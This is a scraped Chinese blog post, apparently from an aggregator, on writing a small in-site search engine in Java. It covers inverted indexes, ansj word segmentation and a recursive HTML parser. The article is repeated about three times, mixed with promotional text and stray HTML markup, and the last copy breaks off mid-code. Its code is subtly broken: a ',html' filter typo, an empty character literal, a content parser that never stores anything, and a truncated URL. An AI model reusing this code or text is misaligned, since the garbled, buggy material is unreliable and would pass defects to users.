嘗試把所有的詞都進(jìn)行窮舉,把這些結果放到詞典文件中。
2.基于統計
收集到很多的語(yǔ)料庫,進(jìn)行人工標注,知道了那些字在一起的概率比較大~
java中能夠實(shí)現分詞的第三方工具也是有很多的
比如ansj(聽(tīng)說(shuō)唱的兄弟可能聽(tīng)過(guò)ansj,哈哈)這個(gè)就是一個(gè)maven中央倉庫的分詞第三方庫。
我們直接下載最新版本然后放入pom.xml里面
test包里直接操作:我們使用這個(gè)測試代碼直接搞。試一下這個(gè)包咋用。
import org.ansj.domain.Term;import org.ansj.splitWord.analysis.ToAnalysis;import java.util.List;public class TastAnsj { public static void main(String[] args) { String str = "易大師是一個(gè)有超高機動(dòng)性的刺客、戰士型英雄,擅長(cháng)利用快速的打擊迅速擊潰對手,易大師一般打野和走單人路,作為無(wú)極劍道的最后傳人,易可以迅速砍出大量傷害,同時(shí)還能利用技能躲避猛烈的攻擊,避開(kāi)敵人的集火。"; List terms = ToAnalysis.parse(str).getTerms(); for (Term term : terms) { System.out.println(term.getName()); } }}
四.文件讀取
把剛剛下載好的文檔的路徑復制到String中并且用常量標記。
這一步是為了用遍歷的方法把所有html文件搞出來(lái),我們這里用了一個(gè)遞歸,如果是絕對路徑,就填加到文件鏈表,如果不是就遞歸,繼續添加里面的值。
import java.io.File;import java.util.ArrayList;//讀取剛剛文檔public class Parser { private static final String INPUT_PATH="D:/test/docs/api"; public void run(){ //整個(gè)Parser類(lèi)的入口 //1.根據路徑,去枚舉出所有的文件.(html); ArrayList fileList=new ArrayList(); enumFile(INPUT_PATH,fileList); System.out.println(fileList); System.out.println(fileList.size()); //2.針對上面羅列出的文件,打開(kāi)文件,讀取文件內容,并進(jìn)行解析 //3.把在內存中構造好的索引數據結構,保定到指定的文件中。 } //第一個(gè)參數表示從哪里開(kāi)始遍歷 //第二個(gè)表示結果。 private void enumFile(String inputPath,ArrayListfileList){ File rootPath=new File(inputPath); //listFiles 能夠獲取到一層目錄下的文件 File[] files= rootPath.listFiles(); for(File f:files){ //根據當前f的類(lèi)型判斷是否遞歸。 //如果f是一個(gè)普通文件,就把f加入到fileList里面 //如果不是就調用遞歸 if(f.isDirectory()){ enumFile(f.getAbsolutePath(),fileList); }else { fileList.add(f); } } } public static void main(String[] args) { //通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程 Parser parser=new Parser(); parser.run(); }}
我們嘗試運行一下,這里的文件也太多了吧,而且無(wú)論是什么都打印出來(lái)了。所以我們下一步就是把這些文件進(jìn)行篩選,選擇有用的。
else?{ if(f.getAbsolutePath().endsWith(",html")) fileList.add(f);}
這個(gè)代碼就是只是針對末尾為html的文件。下圖就是展示結果。
4.1 打開(kāi)文件,解析內容。
這里分為三個(gè)分別是解析Title,解析Url,解析內容Content
4.1.1解析Title
f.getName()是直接讀取文件名字的方法。
我們用的name.substring(0,f.getName().length()-5);為什么要用總的文件名字長(cháng)度減去5呢,因為.HTML剛好就是五。
private String parseTitle(File f) { String name= f.getName();?????????return?name.substring(0,f.getName().length()-5); }
4.1.2解析Url操作
這里的url就是我們平時(shí)去一個(gè)瀏覽器輸入一個(gè)東西下面會(huì )有一個(gè)url,這個(gè)url就是我們的絕對路徑經(jīng)過(guò)截取獲得出我們的相對的目錄,然后與我們的http進(jìn)行拼接,這樣就可以直接得到一個(gè)頁(yè)面。
private String parseUrl(File f) { String part1="https://docs.oracle.com/javase/8/docs/api/"; String part2=f.getAbsolutePath().substring(INPUT_PATH.length()); return part1+part2; }
4.1.3解析內容
以為開(kāi)關(guān)進(jìn)行對數據的讀取,以int類(lèi)型讀取,為什么要用int而不是char呢因為int類(lèi)型讀完之后就變成-1可以判斷一下是否讀取完畢。具體代碼如下很容易理解。
private String parseContent(File f) throws IOException { //先按照一個(gè)一個(gè)字符來(lái)讀取,以作為開(kāi)關(guān) try(FileReader fileReader=new FileReader(f)) { //加上一個(gè)是否拷貝的開(kāi)關(guān). boolean isCopy=true; //還需要準備一個(gè)結果保存 StringBuilder content=new StringBuilder(); while (true){ //此處的read的返回值是int,不是char //如果讀到文件末尾,就會(huì )返回-1,這是用int的好處; int ret = 0; try { ret = fileReader.read(); } catch (IOException e) { e.printStackTrace(); } if(ret==-1) { break; } char c=(char) ret; if(isCopy){ if(c==''){ isCopy=true; } }????????????} return content.toString(); } catch (FileNotFoundException e) { e.printStackTrace(); } return ""; }
這一模塊總的代碼塊如下:
import java.io.File;import java.io.FileNotFoundException;import java.io.FileReader;import java.io.IOException;import java.util.ArrayList;//讀取剛剛文檔public class Parser { private static final String INPUT_PATH="D:/test/docs/api"; public void run(){ //整個(gè)Parser類(lèi)的入口 //1.根據路徑,去枚舉出所有的文件.(html); ArrayList fileList=new ArrayList(); enumFile(INPUT_PATH,fileList); System.out.println(fileList); System.out.println(fileList.size()); //2.針對上面羅列出的文件,打開(kāi)文件,讀取文件內容,并進(jìn)行解析 for (File f:fileList){ System.out.println("開(kāi)始解析"+f.getAbsolutePath()); parseHTML(f); } //3.把在內存中構造好的索引數據結構,保定到指定的文件中。 }<br /> private String parseTitle(File f) { String name= f.getName();?????????return?name.substring(0,f.getName().length()-5); } private String parseUrl(File f) { String part1="https://docs.oracle.com/javase/8/docs/api/"; String part2=f.getAbsolutePath().substring(INPUT_PATH.length()); return part1+part2; } private String parseContent(File f) throws IOException { //先按照一個(gè)一個(gè)字符來(lái)讀取,以作為開(kāi)關(guān) try(FileReader fileReader=new FileReader(f)) { //加上一個(gè)是否拷貝的開(kāi)關(guān). boolean isCopy=true; //還需要準備一個(gè)結果保存 StringBuilder content=new StringBuilder(); while (true){ //此處的read的返回值是int,不是char //如果讀到文件末尾,就會(huì )返回-1,這是用int的好處; int ret = 0; try { ret = fileReader.read(); } catch (IOException e) { e.printStackTrace(); } if(ret==-1) { break; } char c=(char) ret; if(isCopy){ if(c==''){ isCopy=true; } }????????????} return content.toString(); } catch (FileNotFoundException e) { e.printStackTrace(); } return ""; } private void parseHTML (File f){ //解析出標題 String title=parseTitle(f); //解析出對應的url String url=parseUrl(f); //解析出對應的正文 try { String content=parseContent(f); } catch (IOException e) { e.printStackTrace(); } } //第一個(gè)參數表示從哪里開(kāi)始遍歷 //第二個(gè)表示結果。 private void enumFile(String inputPath,ArrayListfileList){ File rootPath=new File(inputPath); //listFiles 能夠獲取到一層目錄下的文件 File[] files= rootPath.listFiles(); for(File f:files){ //根據當前f的類(lèi)型判斷是否遞歸。 //如果f是一個(gè)普通文件,就把f加入到fileList里面 //如果不是就調用遞歸 if(f.isDirectory()){ enumFile(f.getAbsolutePath(),fileList); }else { if(f.getAbsolutePath().endsWith(".html")) fileList.add(f); } } } public static void main(String[] args) { //通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程 Parser parser=new Parser(); parser.run(); }}
歡迎加入程序員交流群
鬼哥我創(chuàng )建了幾個(gè)技術(shù)交流群,大家在群里都是九分聊技術(shù)、一分聊風(fēng)雪~
如果你沒(méi)有加群,不妨掃描下方二維碼、添加我的微信。我拉大家進(jìn)群,記得備注:工作城市+昵稱(chēng)+技術(shù)方向!
Ps:如果朋友圈對我設置權限的話(huà),那就不用加我好友了。
<p data-mid="" data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(19, 52, 86)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)|rgb(19, 52, 86)" data-darkmode-bgimage-16266178294118="1" style="outline: 0px;text-align: center;">往期推薦
B站,竟然變成了相親求偶平臺!<br data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(67, 131, 199)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)|rgb(44, 95, 149)" style="outline: 0px;" />
MySQL奪命15問(wèn),你能堅持到第幾問(wèn)?<br style="outline: 0px;" />
Nginx 輕松搞定跨域問(wèn)題!<br style="outline: 0px;" />
換掉 UUID,更快更安全!<br style="outline: 0px;" />
Java實(shí)現10萬(wàn)+并發(fā)去重,持續優(yōu)化!<br data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(67, 131, 199)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)|rgb(44, 95, 149)" style="outline: 0px;" /><br style="outline: 0px;" />花費數月整理出來(lái)的技術(shù)資源免費分享給大家掃描下方二維碼,回復關(guān)鍵字【技術(shù)福利】獲??!喜歡的這里報道<br data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(163, 163, 163)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)" style="outline: 0px;" />↘↘↘</p> 查看全部
用Java寫(xiě)了一個(gè)搜索引擎系統
前言
咱們如果用我們的小服務(wù)器去搞百度,搜狗那種引擎肯定是不行的,內屬于全站搜索,我們這里做一個(gè)站內搜索。這個(gè)還是可以的,就類(lèi)似于我們對網(wǎng)站里的資源進(jìn)行搜索。
一.搜索引擎怎么搜索
搜索引擎就像一個(gè)小蜜蜂每天不停的采摘蜂蜜,就是去爬蟲(chóng)各個(gè)網(wǎng)頁(yè),然后通過(guò)爬取之后建立索引,以供于我們去搜索。
這里我們可以使用Python,或者下載文檔壓縮包。這里我們下包把,快多了。本來(lái)想搞一個(gè)英雄聯(lián)盟的,實(shí)在找不見(jiàn),要是后續有老鐵找到可以分享一下。
建議大家別爬蟲(chóng)(要不然被告了,不過(guò)我們學(xué)校的官網(wǎng)倒是可以隨便爬,我們當時(shí)就是拿這個(gè)練手的) 為什么要用索引呢?
因為爬的數據太多了,不索引,難道我去遍歷嗎?時(shí)間復雜度太大了。
這里我們需要建立索引,索引分別為正排索引,和倒排索引。
拿LOL舉個(gè)例子吧,正排就相當于,我們提到無(wú)極劍圣的技能就可以聯(lián)想到:
所以這是根據名字選技能
倒排索引就是LOL里面誰(shuí)有劍:
所以這是根據特點(diǎn)選擇英雄
二.模塊劃分
1.索引模塊
1)掃描下載到的文檔,分析內容,構建出,正排索引和倒排索引。并且把索引內容保存到文件中。
2)加載制作i好的索引。并提供一些API實(shí)現查正排和查倒排這樣的功能。
2.搜索模塊
1)調用索引模塊,實(shí)現一個(gè)搜索的完整過(guò)程。
輸入:用戶(hù)的查詢(xún)詞 輸出:完整的搜索結果
3.web模塊
需要實(shí)現一個(gè)簡(jiǎn)單的web程序,能夠通過(guò)網(wǎng)頁(yè)的形式和用戶(hù)進(jìn)行交互。包含了前端和后端。
三. 怎么實(shí)現分詞
分詞的原理:
1.基于詞庫
嘗試把所有的詞都進(jìn)行窮舉,把這些結果放到詞典文件中。
2.基于統計
收集到很多的語(yǔ)料庫,進(jìn)行人工標注,知道了那些字在一起的概率比較大~
java中能夠實(shí)現分詞的第三方工具也是有很多的
比如ansj(聽(tīng)說(shuō)唱的兄弟可能聽(tīng)過(guò)ansj,哈哈)這個(gè)就是一個(gè)maven中央倉庫的分詞第三方庫。
我們直接下載最新版本然后放入pom.xml里面
test包里直接操作:我們使用這個(gè)測試代碼直接搞。試一下這個(gè)包咋用。
import org.ansj.domain.Term;import org.ansj.splitWord.analysis.ToAnalysis;import java.util.List;public class TastAnsj { public static void main(String[] args) { String str = "易大師是一個(gè)有超高機動(dòng)性的刺客、戰士型英雄,擅長(cháng)利用快速的打擊迅速擊潰對手,易大師一般打野和走單人路,作為無(wú)極劍道的最后傳人,易可以迅速砍出大量傷害,同時(shí)還能利用技能躲避猛烈的攻擊,避開(kāi)敵人的集火。"; List terms = ToAnalysis.parse(str).getTerms(); for (Term term : terms) { System.out.println(term.getName()); } }}
四.文件讀取
把剛剛下載好的文檔的路徑復制到String中并且用常量標記。
這一步是為了用遍歷的方法把所有html文件搞出來(lái),我們這里用了一個(gè)遞歸,如果是絕對路徑,就填加到文件鏈表,如果不是就遞歸,繼續添加里面的值。
import java.io.File;import java.util.ArrayList;//讀取剛剛文檔public class Parser { private static final String INPUT_PATH="D:/test/docs/api"; public void run(){ //整個(gè)Parser類(lèi)的入口 //1.根據路徑,去枚舉出所有的文件.(html); ArrayList fileList=new ArrayList(); enumFile(INPUT_PATH,fileList); System.out.println(fileList); System.out.println(fileList.size()); //2.針對上面羅列出的文件,打開(kāi)文件,讀取文件內容,并進(jìn)行解析 //3.把在內存中構造好的索引數據結構,保定到指定的文件中。 } //第一個(gè)參數表示從哪里開(kāi)始遍歷 //第二個(gè)表示結果。 private void enumFile(String inputPath,ArrayListfileList){ File rootPath=new File(inputPath); //listFiles 能夠獲取到一層目錄下的文件 File[] files= rootPath.listFiles(); for(File f:files){ //根據當前f的類(lèi)型判斷是否遞歸。 //如果f是一個(gè)普通文件,就把f加入到fileList里面 //如果不是就調用遞歸 if(f.isDirectory()){ enumFile(f.getAbsolutePath(),fileList); }else { fileList.add(f); } } } public static void main(String[] args) { //通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程 Parser parser=new Parser(); parser.run(); }}
我們嘗試運行一下,這里的文件也太多了吧,而且無(wú)論是什么都打印出來(lái)了。所以我們下一步就是把這些文件進(jìn)行篩選,選擇有用的。
else?{ if(f.getAbsolutePath().endsWith(",html")) fileList.add(f);}
這個(gè)代碼就是只是針對末尾為html的文件。下圖就是展示結果。
4.1 打開(kāi)文件,解析內容。
這里分為三個(gè)分別是解析Title,解析Url,解析內容Content
4.1.1解析Title
f.getName()是直接讀取文件名字的方法。
我們用的name.substring(0,f.getName().length()-5);為什么要用總的文件名字長(cháng)度減去5呢,因為.HTML剛好就是五。
private String parseTitle(File f) { String name= f.getName();?????????return?name.substring(0,f.getName().length()-5); }
4.1.2解析Url操作
這里的url就是我們平時(shí)去一個(gè)瀏覽器輸入一個(gè)東西下面會(huì )有一個(gè)url,這個(gè)url就是我們的絕對路徑經(jīng)過(guò)截取獲得出我們的相對的目錄,然后與我們的http進(jìn)行拼接,這樣就可以直接得到一個(gè)頁(yè)面。
private String parseUrl(File f) { String part1="https://docs.oracle.com/javase/8/docs/api/"; String part2=f.getAbsolutePath().substring(INPUT_PATH.length()); return part1+part2; }
4.1.3解析內容
以為開(kāi)關(guān)進(jìn)行對數據的讀取,以int類(lèi)型讀取,為什么要用int而不是char呢因為int類(lèi)型讀完之后就變成-1可以判斷一下是否讀取完畢。具體代碼如下很容易理解。
private String parseContent(File f) throws IOException { //先按照一個(gè)一個(gè)字符來(lái)讀取,以作為開(kāi)關(guān) try(FileReader fileReader=new FileReader(f)) { //加上一個(gè)是否拷貝的開(kāi)關(guān). boolean isCopy=true; //還需要準備一個(gè)結果保存 StringBuilder content=new StringBuilder(); while (true){ //此處的read的返回值是int,不是char //如果讀到文件末尾,就會(huì )返回-1,這是用int的好處; int ret = 0; try { ret = fileReader.read(); } catch (IOException e) { e.printStackTrace(); } if(ret==-1) { break; } char c=(char) ret; if(isCopy){ if(c==''){ isCopy=true; } }????????????} return content.toString(); } catch (FileNotFoundException e) { e.printStackTrace(); } return ""; }
這一模塊總的代碼塊如下:
import java.io.File;import java.io.FileNotFoundException;import java.io.FileReader;import java.io.IOException;import java.util.ArrayList;//讀取剛剛文檔public class Parser { private static final String INPUT_PATH="D:/test/docs/api"; public void run(){ //整個(gè)Parser類(lèi)的入口 //1.根據路徑,去枚舉出所有的文件.(html); ArrayList fileList=new ArrayList(); enumFile(INPUT_PATH,fileList); System.out.println(fileList); System.out.println(fileList.size()); //2.針對上面羅列出的文件,打開(kāi)文件,讀取文件內容,并進(jìn)行解析 for (File f:fileList){ System.out.println("開(kāi)始解析"+f.getAbsolutePath()); parseHTML(f); } //3.把在內存中構造好的索引數據結構,保定到指定的文件中。 }<br /> private String parseTitle(File f) { String name= f.getName();?????????return?name.substring(0,f.getName().length()-5); } private String parseUrl(File f) { String part1="https://docs.oracle.com/javase/8/docs/api/"; String part2=f.getAbsolutePath().substring(INPUT_PATH.length()); return part1+part2; } private String parseContent(File f) throws IOException { //先按照一個(gè)一個(gè)字符來(lái)讀取,以作為開(kāi)關(guān) try(FileReader fileReader=new FileReader(f)) { //加上一個(gè)是否拷貝的開(kāi)關(guān). boolean isCopy=true; //還需要準備一個(gè)結果保存 StringBuilder content=new StringBuilder(); while (true){ //此處的read的返回值是int,不是char //如果讀到文件末尾,就會(huì )返回-1,這是用int的好處; int ret = 0; try { ret = fileReader.read(); } catch (IOException e) { e.printStackTrace(); } if(ret==-1) { break; } char c=(char) ret; if(isCopy){ if(c==''){ isCopy=true; } }????????????} return content.toString(); } catch (FileNotFoundException e) { e.printStackTrace(); } return ""; } private void parseHTML (File f){ //解析出標題 String title=parseTitle(f); //解析出對應的url String url=parseUrl(f); //解析出對應的正文 try { String content=parseContent(f); } catch (IOException e) { e.printStackTrace(); } } //第一個(gè)參數表示從哪里開(kāi)始遍歷 //第二個(gè)表示結果。 private void enumFile(String inputPath,ArrayListfileList){ File rootPath=new File(inputPath); //listFiles 能夠獲取到一層目錄下的文件 File[] files= rootPath.listFiles(); for(File f:files){ //根據當前f的類(lèi)型判斷是否遞歸。 //如果f是一個(gè)普通文件,就把f加入到fileList里面 //如果不是就調用遞歸 if(f.isDirectory()){ enumFile(f.getAbsolutePath(),fileList); }else { if(f.getAbsolutePath().endsWith(".html")) fileList.add(f); } } } public static void main(String[] args) { //通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程 Parser parser=new Parser(); parser.run(); }}
歡迎加入程序員交流群
鬼哥我創(chuàng )建了幾個(gè)技術(shù)交流群,大家在群里都是九分聊技術(shù)、一分聊風(fēng)雪~
如果你沒(méi)有加群,不妨掃描下方二維碼、添加我的微信。我拉大家進(jìn)群,記得備注:工作城市+昵稱(chēng)+技術(shù)方向!
Ps:如果朋友圈對我設置權限的話(huà),那就不用加我好友了。
<p data-mid="" data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(19, 52, 86)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)|rgb(19, 52, 86)" data-darkmode-bgimage-16266178294118="1" style="outline: 0px;text-align: center;">往期推薦
B站,竟然變成了相親求偶平臺!<br data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(67, 131, 199)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)|rgb(44, 95, 149)" style="outline: 0px;" />
MySQL奪命15問(wèn),你能堅持到第幾問(wèn)?<br style="outline: 0px;" />
Nginx 輕松搞定跨域問(wèn)題!<br style="outline: 0px;" />
換掉 UUID,更快更安全!<br style="outline: 0px;" />
Java實(shí)現10萬(wàn)+并發(fā)去重,持續優(yōu)化!<br data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(67, 131, 199)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)|rgb(44, 95, 149)" style="outline: 0px;" /><br style="outline: 0px;" />花費數月整理出來(lái)的技術(shù)資源免費分享給大家掃描下方二維碼,回復關(guān)鍵字【技術(shù)福利】獲??!
寫(xiě)一個(gè)搜索引擎系統(Java版)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 93 次瀏覽 ? 2022-05-07 18:15
咋們如果用我們的小服務(wù)器去搞百度,搜狗那種引擎肯定是不行的,內屬于全站搜索,我們這里做一個(gè)站內搜索。這個(gè)還是可以的,就類(lèi)似于我們對網(wǎng)站里的資源進(jìn)行搜索。
一.搜索引擎怎么搜索
搜索引擎就像一個(gè)小蜜蜂每天不停的采摘蜂蜜,就是去爬蟲(chóng)各個(gè)網(wǎng)頁(yè),然后通過(guò)爬取之后建立索引,以供于我們去搜索。
這里我們可以使用Python,或者下載文檔壓縮包。這里我們下包把,快多了。本來(lái)想搞一個(gè)英雄聯(lián)盟的,實(shí)在找不見(jiàn),要是后續有老鐵找到可以分享一下。
建議大家別爬蟲(chóng)(要不然被告了,不過(guò)我們學(xué)校的官網(wǎng)倒是可以隨便爬,我們當時(shí)就是拿這個(gè)練手的)
為什么要用索引呢?
因為爬的數據太多了,不索引,難道我去遍歷嗎?時(shí)間復雜度太大了。
這里我們需要建立索引,索引分別為正排索引,和倒排索引。
拿LOL舉個(gè)例子吧,正排就相當于,我們提到無(wú)極劍圣的技能就可以聯(lián)想到
故根據名字選技能
倒排索引就是LOL里面誰(shuí)有劍
蠻王無(wú)極劍圣劍姬
故根據特點(diǎn)選擇英雄
二.模塊劃分1.索引模塊
1)掃描下載到的文檔,分析內容,構建出,正排索引和倒排索引。并且把索引內容保存到文件中。
2)加載制作i好的索引。并提供一些API實(shí)現查正排和查倒排這樣的功能。
2.搜索模塊
1)調用索引模塊,實(shí)現一個(gè)搜索的完整過(guò)程。
3.web模塊
需要實(shí)現一個(gè)簡(jiǎn)單的web程序,能夠通過(guò)網(wǎng)頁(yè)的形式和用戶(hù)進(jìn)行交互。
包含了前端和后端。
三. 怎么實(shí)現分詞
分詞的原理
1.基于詞庫
嘗試把所有的詞都進(jìn)行窮舉,把這些結果放到詞典文件中。
2.基于統計
收集到很多的語(yǔ)料庫,進(jìn)行人工標注,知道了那些字在一起的概率比較大~
java中能夠實(shí)現分詞的第三方工具也是有很多的
比如ansj(聽(tīng)說(shuō)唱的兄弟可能聽(tīng)過(guò)ansj,哈哈)這個(gè)就是一個(gè)maven中央倉庫的分詞第三方庫。
我們直接下載最新版本然后放入pom.xml里面
test包里直接操作:我們使用這個(gè)測試代碼直接搞。試一下這個(gè)包咋用。
import?org.ansj.domain.Term;<br />import?org.ansj.splitWord.analysis.ToAnalysis;<br />import?java.util.List;<br />public?class?TastAnsj?{<br />????public?static?void?main(String[]?args)?{<br />????????String?str?=?"易大師是一個(gè)有超高機動(dòng)性的刺客、戰士型英雄,擅長(cháng)利用快速的打擊迅速擊潰對手,易大師一般打野和走單人路,作為無(wú)極劍道的最后傳人,易可以迅速砍出大量傷害,同時(shí)還能利用技能躲避猛烈的攻擊,避開(kāi)敵人的集火。";<br />????????List?terms?=?ToAnalysis.parse(str).getTerms();<br />????????for?(Term?term?:?terms)?{<br />????????????System.out.println(term.getName());<br />????????}<br />????}<br />}<br />
四.文件讀取
把剛剛下載好的文檔的路徑復制到String中并且用常量標記。
這一步是為了用遍歷的方法把所有html文件搞出來(lái),我們這里用了一個(gè)遞歸,如果是絕對路徑,就填加到文件鏈表,如果不是就遞歸,繼續添加里面的值。
import?java.io.File;<br />import?java.util.ArrayList;<br /><br /><br />//讀取剛剛文檔<br />public?class?Parser?{<br />?????private?static?final??String?INPUT_PATH="D:/test/docs/api";<br />??????public??void?run(){<br />??????????//整個(gè)Parser類(lèi)的入口<br />??????????//1.根據路徑,去枚舉出所有的文件.(html);<br />??????????ArrayList?fileList=new?ArrayList();<br />??????????enumFile(INPUT_PATH,fileList);<br />??????????System.out.println(fileList);<br />??????????System.out.println(fileList.size());<br />??????????//2.針對上面羅列出的文件,打開(kāi)文件,讀取文件內容,并進(jìn)行解析<br />??????????//3.把在內存中構造好的索引數據結構,保定到指定的文件中。<br />??????}<br />??????//第一個(gè)參數表示從哪里開(kāi)始遍歷?//第二個(gè)表示結果。<br />??????private?void?enumFile(String?inputPath,ArrayListfileList){<br />?????????File?rootPath=new?File(inputPath);<br />?????????//listFiles?能夠獲取到一層目錄下的文件<br />????????File[]?files=?rootPath.listFiles();<br />?????????for(File?f:files){<br />?????????????//根據當前f的類(lèi)型判斷是否遞歸。<br />?????????????//如果f是一個(gè)普通文件,就把f加入到fileList里面<br />?????????????//如果不是就調用遞歸<br />?????????????if(f.isDirectory()){<br />?????????????????enumFile(f.getAbsolutePath(),fileList);<br />?????????????}else?{<br />?????????????????fileList.add(f);<br />?????????????}<br />?????????}<br />??????}<br />????public?static?void?main(String[]?args)?{<br />????????//通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程<br />????????Parser?parser=new?Parser();<br />????????parser.run();<br />????}<br />}<br />
我們嘗試運行一下,這里的文件也太多了吧,而且無(wú)論是什么都打印出來(lái)了。所以我們下一步就是把這些文件進(jìn)行篩選,選擇有用的。
else?{<br />?????if(f.getAbsolutePath().endsWith(",html"))<br />?????fileList.add(f);<br />}<br />
這個(gè)代碼就是只是針對末尾為html的文件,下圖就是展示結果。
4.1 打開(kāi)文件,解析內容。
這里分為三個(gè)分別是解析Title,解析Url,解析內容Content
4.1.1解析Title
f.getName()是直接讀取文件名字的方法。
我們用的name.substring(0,f.getName().length()-5);為什么要用總的文件名字長(cháng)度減去5呢,因為.HTML剛好就是五。
private??String?parseTitle(File?f)?{<br />??????????String?name=?f.getName();<br />?????????return?name.substring(0,f.getName().length()-5);<br /><br />????}<br />
4.1.2解析Url操作
這里的url就是我們平時(shí)去一個(gè)瀏覽器輸入一個(gè)東西下面會(huì )有一個(gè)url,這個(gè)url就是我們的絕對路徑經(jīng)過(guò)截取獲得出我們的相對的目錄,然后與我們的http進(jìn)行拼接,這樣就可以直接得到一個(gè)頁(yè)面。
private??String?parseUrl(File?f)?{<br />??????String?part1="https://docs.oracle.com/javase ... %3Bbr />??????String?part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br />??????????return?part1+part2;<br />????}<br />
4.1.3解析內容
以為開(kāi)關(guān)進(jìn)行對數據的讀取,以int類(lèi)型讀取,為什么要用int而不是char呢因為int類(lèi)型讀完之后就變成-1可以判斷一下是否讀取完畢。
具體代碼如下很容易理解。
private??String?parseContent(File?f)?throws?IOException?{<br />??????????//先按照一個(gè)一個(gè)字符來(lái)讀取,以作為開(kāi)關(guān)<br />????????try(FileReader?fileReader=new?FileReader(f))?{<br />????????????//加上一個(gè)是否拷貝的開(kāi)關(guān).<br />????????????boolean?isCopy=true;<br />????????????//還需要準備一個(gè)結果保存<br />????????????StringBuilder?content=new?StringBuilder();<br />????????????while?(true){<br />????????????????//此處的read的返回值是int,不是char<br />????????????????//如果讀到文件末尾,就會(huì )返回-1,這是用int的好處;<br />????????????????int??ret?=?0;<br />????????????????try?{<br />????????????????????ret?=?fileReader.read();<br />????????????????}?catch?(IOException?e)?{<br />????????????????????e.printStackTrace();<br />????????????????}<br />????????????????if(ret==-1)?{<br />????????????????????????break;<br />????????????????????}<br />????????????????????char?c=(char)?ret;<br />????????????????????if(isCopy){<br />????????????????????????if(c==''){<br />????????????????????????????isCopy=true;<br />????????????????????????}<br />????????????????????}<br />????????????}<br /><br />????????????return??content.toString();<br />????????}?catch?(FileNotFoundException?e)?{<br />????????????e.printStackTrace();<br />????????}<br />????????return?"";<br />????}<br />
這一模塊總的代碼塊如下:
import?java.io.File;<br />import?java.io.FileNotFoundException;<br />import?java.io.FileReader;<br />import?java.io.IOException;<br />import?java.util.ArrayList;<br /><br />//讀取剛剛文檔<br />public?class?Parser?{<br />?????private?static?final??String?INPUT_PATH="D:/test/docs/api";<br />??????public??void?run(){<br />??????????//整個(gè)Parser類(lèi)的入口<br />??????????//1.根據路徑,去枚舉出所有的文件.(html);<br />??????????ArrayList?fileList=new?ArrayList();<br />??????????enumFile(INPUT_PATH,fileList);<br />??????????System.out.println(fileList);<br />??????????System.out.println(fileList.size());<br />??????????//2.針對上面羅列出的文件,打開(kāi)文件,讀取文件內容,并進(jìn)行解析<br />??????????for?(File?f:fileList){<br />??????????????System.out.println("開(kāi)始解析"+f.getAbsolutePath());<br />??????????????parseHTML(f);<br />??????????}<br />??????????//3.把在內存中構造好的索引數據結構,保定到指定的文件中。<br />??????}<br /><br /><br />????private??String?parseTitle(File?f)?{<br />??????????String?name=?f.getName();<br />?????????return?name.substring(0,f.getName().length()-5);<br /><br />????}<br />????private??String?parseUrl(File?f)?{<br />??????String?part1="https://docs.oracle.com/javase ... %3Bbr />?????????String?part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br />??????????return?part1+part2;<br />????}<br />????private??String?parseContent(File?f)?throws?IOException?{<br />??????????//先按照一個(gè)一個(gè)字符來(lái)讀取,以作為開(kāi)關(guān)<br />????????try(FileReader?fileReader=new?FileReader(f))?{<br />????????????//加上一個(gè)是否拷貝的開(kāi)關(guān).<br />????????????boolean?isCopy=true;<br />????????????//還需要準備一個(gè)結果保存<br />????????????StringBuilder?content=new?StringBuilder();<br />????????????while?(true){<br />????????????????//此處的read的返回值是int,不是char<br />????????????????//如果讀到文件末尾,就會(huì )返回-1,這是用int的好處;<br />????????????????int??ret?=?0;<br />????????????????try?{<br />????????????????????ret?=?fileReader.read();<br />????????????????}?catch?(IOException?e)?{<br />????????????????????e.printStackTrace();<br />????????????????}<br />????????????????if(ret==-1)?{<br />????????????????????????break;<br />????????????????????}<br />????????????????????char?c=(char)?ret;<br />????????????????????if(isCopy){<br />????????????????????????if(c==''){<br />????????????????????????????isCopy=true;<br />????????????????????????}<br />????????????????????}<br />????????????}<br /><br />????????????return??content.toString();<br />????????}?catch?(FileNotFoundException?e)?{<br />????????????e.printStackTrace();<br />????????}<br />????????return?"";<br />????}<br />????private?void?parseHTML?(File?f){<br />????????//解析出標題<br />??????????String?title=parseTitle(f);<br />????????//解析出對應的url<br />??????????String?url=parseUrl(f);<br />????????//解析出對應的正文<br />????????try?{<br />????????????String?content=parseContent(f);<br />????????}?catch?(IOException?e)?{<br />????????????e.printStackTrace();<br />????????}<br />????}<br 